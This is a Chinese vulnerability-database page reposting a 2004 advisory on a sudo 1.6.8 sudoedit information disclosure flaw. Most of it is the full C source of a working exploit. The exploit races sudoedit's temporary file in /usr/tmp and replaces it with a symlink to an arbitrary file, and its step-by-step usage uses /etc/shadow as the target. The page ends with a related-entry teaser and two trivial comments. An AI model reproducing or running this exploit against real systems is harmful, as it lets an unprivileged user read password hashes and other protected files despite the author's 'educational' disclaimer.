Sudo 1.6.8 – Information Disclosure
漏洞ID | 1054626 | 漏洞类型 | |
发布时间 | 2004-09-18 | 更新时间 | 2004-09-18 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/11204/info
Sudo is reported prone to an information disclosure vulnerability.
This vulnerability presents itself when sudo is called with the '-e' option, or the 'sudoedit' command is invoked. In certain circumstances, attackers may access the contents of arbitrary files with superuser privileges.
Version 1.6.8 is reported susceptible to this vulnerability.
/*
Copyright ? Rosiello Security 2004
http://www.rosiello.org
sudoedit Exploit
SOFTWARE : sudoedit
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004
Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.
Sudo versions affected:
1.6.8 only
Credit:
Reznic Valery discovered the problem.
-----------------------------------------------------------
All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.
!Respect the law!
How do I use this code ?
To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.
EXAMPLE SCENARIO:
1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.
The file "rosiello" is now a copy of "/etc/shadow".
AUTHOR : Angelo Rosiello
CONTACT: [email protected]
*/
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>
int main( int argc, char *argv[] )
{
char PATH[]="/usr/tmp";
char file[32];
DIR *tmp;
struct dirent *de;
tmp = opendir ( PATH );
int found = 0;
printf( "Copyright ?? Rosiello Security 2004n" );
printf( "http://www.rosiello.orgn" );
if( argc!=2 )
{
printf( "USAGE: %s filen", argv[0] );
return( 0 );
}
while ( (de = readdir ( tmp ))!= NULL )
{
if ( (strstr(de->d_name, "rosiello") != NULL) )
{
if( strlen(de->d_name) > 24 ) return( 0 );
sprintf( file, "%s/%s", PATH, (char *)de->d_name );
remove( file );
if( fork()!=0 )
{
execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
}
wait( );
printf( "Now you can close sudoedit and reopen rosiello!n" );
found=1;
goto end;
}
}
end:
closedir( tmp );
if( !found )
printf( "File Not Found!n" );
return( 0 );
}
相关推荐: gnut Gnutella client脚本执行漏洞
gnut Gnutella client脚本执行漏洞 漏洞ID 1205390 漏洞类型 跨站脚本 发布时间 2001-08-31 更新时间 2001-08-31 CVE编号 CVE-2001-1004 CNNVD-ID CNNVD-200108-157 漏洞…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666